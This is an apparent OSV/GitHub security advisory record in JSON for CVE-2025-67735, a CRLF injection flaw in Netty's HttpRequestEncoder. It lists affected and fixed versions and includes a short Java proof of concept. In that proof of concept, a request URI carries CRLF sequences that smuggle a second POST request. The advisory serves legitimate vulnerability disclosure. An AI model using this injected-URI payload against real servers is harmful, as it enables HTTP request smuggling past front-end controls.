{"id":"GHSA-84h7-rjj3-6jx4","summary":"Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder","details":"### Summary\n\nThe `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri.\n\n### Details\n\nThe `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`)\n\nThe default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.\n\n### PoC\n\nSimple reproducer:\n\n```java\npublic static void main(String[] args) {\n\n  EmbeddedChannel client = new EmbeddedChannel();\n  client.pipeline().addLast(new HttpClientCodec());\n\n  EmbeddedChannel server = new EmbeddedChannel();\n  server.pipeline().addLast(new HttpServerCodec());\n  server.pipeline().addLast(new ChannelInboundHandlerAdapter() {\n    @Override\n    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {\n      System.out.println(\"Processing msg \" + msg);\n    }\n  });\n\n  DefaultHttpRequest request = new DefaultHttpRequest(\n    HttpVersion.HTTP_1_1,\n    HttpMethod.GET,\n    \"/s1 HTTP/1.1\\r\\n\" +\n      \"\\r\\n\" +\n      \"POST /s2 HTTP/1.1\\r\\n\" +\n      \"content-length: 11\\r\\n\\r\\n\" +\n      \"Hello World\" +\n      \"GET /s1\"\n  );\n  client.writeAndFlush(request);\n  ByteBuf tmp;\n  while ((tmp = client.readOutbound()) != null) {\n    server.writeInbound(tmp);\n  }\n}\n```\n\n### Impact\n\nAny application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection.","aliases":["CVE-2025-67735"],"modified":"2026-07-17T21:13:02.143999927Z","published":"2025-12-15T23:28:49Z","database_specific":{"nvd_published_at":"2025-12-16T01:15:52Z","cwe_ids":["CWE-93"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2025-12-15T23:28:49Z"},"references":[{"type":"WEB","url":"https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-67735"},{"type":"WEB","url":"https://github.com/netty/netty/commit/77e81f1e5944d98b3acf887d3aa443b252752e94"},{"type":"PACKAGE","url":"https://github.com/netty/netty"}],"affected":[{"package":{"name":"io.netty:netty-codec-http","ecosystem":"Maven","purl":"pkg:maven/io.netty/netty-codec-http"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.2.0.Alpha1"},{"fixed":"4.2.8.Final"}]}],"versions":["4.2.0.Alpha1","4.2.0.Alpha2","4.2.0.Alpha3","4.2.0.Alpha4","4.2.0.Alpha5","4.2.0.Beta1","4.2.0.Final","4.2.0.RC1","4.2.0.RC2","4.2.0.RC3","4.2.0.RC4","4.2.1.Final","4.2.2.Final","4.2.3.Final","4.2.4.Final","4.2.5.Final","4.2.6.Final","4.2.7.Final"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-84h7-rjj3-6jx4/GHSA-84h7-rjj3-6jx4.json"}},{"package":{"name":"io.netty:netty-codec-http","ecosystem":"Maven","purl":"pkg:maven/io.netty/netty-codec-http"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.129.Final"}]}],"versions":["4.0.0.Alpha1","4.0.0.Alpha2","4.0.0.Alpha3","4.0.0.Alpha4","4.0.0.Alpha5","4.0.0.Alpha6","4.0.0.Alpha7","4.0.0.Alpha8","4.0.0.Beta1","4.0.0.Beta2","4.0.0.Beta3","4.0.0.CR1","4.0.0.CR2","4.0.0.CR3","4.0.0.CR4","4.0.0.CR5","4.0.0.CR6","4.0.0.CR7","4.0.0.CR8","4.0.0.CR9","4.0.0.Final","4.0.1.Final","4.0.10.Final","4.0.11.Final","4.0.12.Final","4.0.13.Final","4.0.14.Beta1","4.0.14.Final","4.0.15.Final","4.0.16.Final","4.0.17.Final","4.0.18.Final","4.0.19.Final","4.0.2.Final","4.0.20.Final","4.0.21.Final","4.0.22.Final","4.0.23.Final","4.0.24.Final","4.0.25.Final","4.0.26.Final","4.0.27.Final","4.0.28.Final","4.0.29.Final","4.0.3.Final","4.0.30.Final","4.0.31.Final","4.0.32.Final","4.0.33.Final","4.0.34.Final","4.0.35.Final","4.0.36.Final","4.0.37.Final","4.0.38.Final","4.0.39.Final","4.0.4.Final","4.0.40.Final","4.0.41.Final","4.0.42.Final","4.0.43.Final","4.0.44.Final","4.0.45.Final","4.0.46.Final","4.0.47.Final","4.0.48.Final","4.0.49.Final","4.0.5.Final","4.0.50.Final","4.0.51.Final","4.0.52.Final","4.0.53.Final","4.0.54.Final","4.0.55.Final","4.0.56.Final","4.0.6.Final","4.0.7.Final","4.0.8.Final","4.0.9.Final","4.1.0.Beta1","4.1.0.Beta2","4.1.0.Beta3","4.1.0.Beta4","4.1.0.Beta5","4.1.0.Beta6","4.1.0.Beta7","4.1.0.Beta8","4.1.0.CR1","4.1.0.CR2","4.1.0.CR3","4.1.0.CR4","4.1.0.CR5","4.1.0.CR6","4.1.0.CR7","4.1.0.Final","4.1.1.Final","4.1.10.Final","4.1.100.Final","4.1.101.Final","4.1.102.Final","4.1.103.Final","4.1.104.Final","4.1.105.Final","4.1.106.Final","4.1.107.Final","4.1.108.Final","4.1.109.Final","4.1.11.Final","4.1.110.Final","4.1.111.Final","4.1.112.Final","4.1.113.Final","4.1.114.Final","4.1.115.Final","4.1.116.Final","4.1.117.Final","4.1.118.Final","4.1.119.Final","4.1.12.Final","4.1.120.Final","4.1.121.Final","4.1.122.Final","4.1.123.Final","4.1.124.Final","4.1.125.Final","4.1.126.Final","4.1.127.Final","4.1.128.Final","4.1.13.Final","4.1.14.Final","4.1.15.Final","4.1.16.Final","4.1.17.Final","4.1.18.Final","4.1.19.Final","4.1.2.Final","4.1.20.Final","4.1.21.Final","4.1.22.Final","4.1.23.Final","4.1.24.Final","4.1.25.Final","4.1.26.Final","4.1.27.Final","4.1.28.Final","4.1.29.Final","4.1.3.Final","4.1.30.Final","4.1.31.Final","4.1.32.Final","4.1.33.Final","4.1.34.Final","4.1.35.Final","4.1.36.Final","4.1.37.Final","4.1.38.Final","4.1.39.Final","4.1.4.Final","4.1.40.Final","4.1.41.Final","4.1.42.Final","4.1.43.Final","4.1.44.Final","4.1.45.Final","4.1.46.Final","4.1.47.Final","4.1.48.Final","4.1.49.Final","4.1.5.Final","4.1.50.Final","4.1.51.Final","4.1.52.Final","4.1.53.Final","4.1.54.Final","4.1.55.Final","4.1.56.Final","4.1.57.Final","4.1.58.Final","4.1.59.Final","4.1.6.Final","4.1.60.Final","4.1.61.Final","4.1.62.Final","4.1.63.Final","4.1.64.Final","4.1.65.Final","4.1.66.Final","4.1.67.Final","4.1.68.Final","4.1.69.Final","4.1.7.Final","4.1.70.Final","4.1.71.Final","4.1.72.Final","4.1.73.Final","4.1.74.Final","4.1.75.Final","4.1.76.Final","4.1.77.Final","4.1.78.Final","4.1.79.Final","4.1.8.Final","4.1.80.Final","4.1.81.Final","4.1.82.Final","4.1.83.Final","4.1.84.Final","4.1.85.Final","4.1.86.Final","4.1.87.Final","4.1.88.Final","4.1.89.Final","4.1.9.Final","4.1.90.Final","4.1.91.Final","4.1.92.Final","4.1.93.Final","4.1.94.Final","4.1.95.Final","4.1.96.Final","4.1.97.Final","4.1.98.Final","4.1.99.Final"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-84h7-rjj3-6jx4/GHSA-84h7-rjj3-6jx4.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"}]}